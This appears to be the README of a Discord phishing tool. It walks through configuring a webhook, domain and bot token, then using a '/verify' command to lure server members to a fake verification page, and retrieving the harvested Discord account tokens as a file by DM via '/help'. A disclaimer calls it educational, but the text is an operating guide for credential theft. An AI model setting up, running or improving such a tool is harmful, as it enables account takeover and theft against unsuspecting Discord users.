- ⚠ This project was created exclusively for educational and research purposes. I am not responsible for any misuse of this tool.
Watch the video below for a complete demonstration of the phishing page:
- Run
npm ito install all required dependencies.
This code automatically starts both the bot and server simultaneously for testing and research purposes. Ensure that you have a domain configured and a registered Discord bot, as both are necessary for proper operation.
Before running the code, open the config.json file and configure it as shown in the example below:
{
"webhook": "Enter here the webhook URL that will receive the information",
"domain": {
"url": "Enter here the domain (e.g., https://your-domain.com)"
},
"bot": {
"token": "Your Discord bot token",
"clientid": "Your bot's client ID",
"guildid": "The ID of the server where commands will be registered"
},
"owner": {
"id": "Your Discord user ID with permission to use the commands"
},
"profile": {
"pfp": {
"alter": "Set to true if you want the code to automatically set a profile picture",
"changed": false
}
}
}For the bot to function correctly, you need to enable all intents in the Discord Developer Portal. Here’s how:
- Go to the Discord Developer Portal.
- Select your bot application.
- Navigate to Bot in the sidebar.
- Under Privileged Gateway Intents, enable Presence Intent, Server Members Intent, and Message Content Intent.
- Save your changes.
After configuring config.json, start the code with the command:
node main.js
In the Discord server, use the command:
/verify
The bot will send an embed message in the channel where the command was used. Click "verify" and then "click here" to access the test page.
To send the token list, use the command:
/help
The bot will send a token.txt file with the token list to your Discord DM.
- This project was developed for learning and research in digital security, covering both Discord bot functionality and web server simulation.
- If you encounter any issues or have questions, reach out on Telegram: t.me/oppolar.